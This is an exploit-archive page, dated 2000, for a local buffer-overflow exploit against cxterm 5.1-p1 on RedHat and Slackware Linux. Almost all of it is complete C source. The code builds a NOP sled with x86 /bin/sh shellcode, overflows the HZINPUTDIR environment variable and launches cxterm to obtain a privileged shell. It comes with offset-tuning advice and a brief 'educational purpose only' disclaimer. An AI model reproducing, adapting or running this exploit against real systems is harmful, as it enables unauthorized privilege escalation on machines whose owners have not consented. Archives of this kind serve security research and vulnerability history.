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cxterm.c

cxterm.c
Posted Sep 28, 2000

Local exploit for cxterm 5.1-p1. Tested on: RedHat 5.2/6.0, Slackware 3.6.

tags | exploit, local
systems | linux, redhat, slackware
SHA-256 | e93169ce12af85a371410989f4a2cd00e8d61b6dd974524f5580d3fb1f40e964

cxterm.c

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/* Local exploit for cxterm 5.1-p1
* Tested on:
* RedHat 5.2/6.0
* Slackware 3.6
*
* If it don't work,try offset: 600 - 2500 (Don't change bufsize)
*
* (you should export your DISPLAY to X server in some host before run this)
* WARNING:
* This code is for educational purpose only and should not be run in
* any host without permission from the system administrator.
* warning3@hotmail.com
* 1999/08
*/

#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define DEFAULT_OFFSET 1000
#define DEFAULT_BUFFER_SIZE 4095
#define NOP 0x90

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

long get_sp(void)
{
__asm__("movl %esp, %eax\n");
}

int main(int argc, char *argv[]) {

char *buff, *ptr;
long addr,*addr_ptr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i,fd;

if (argc > 1) offset=atoi(argv[1]);

if(!(buff = malloc(bsize))) {
printf("can't allocate memory\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address : 0x%x\n",addr);
ptr = buff;
addr_ptr=(long *)ptr;
for (i = 0; i < bsize; i += 4)
*(addr_ptr++) = addr;
for (i = 0; i < (bsize/2); i++)
buff[i] = NOP;
ptr=buff + (bsize/2) - strlen(shellcode)/2;
memcpy(ptr,shellcode,strlen(shellcode));
buff[bsize-1]='\0';
setenv("HZINPUTDIR", buff, 1);
execl("/usr/X11R6/bin/cxterm","cxterm","-has","a", NULL);

}
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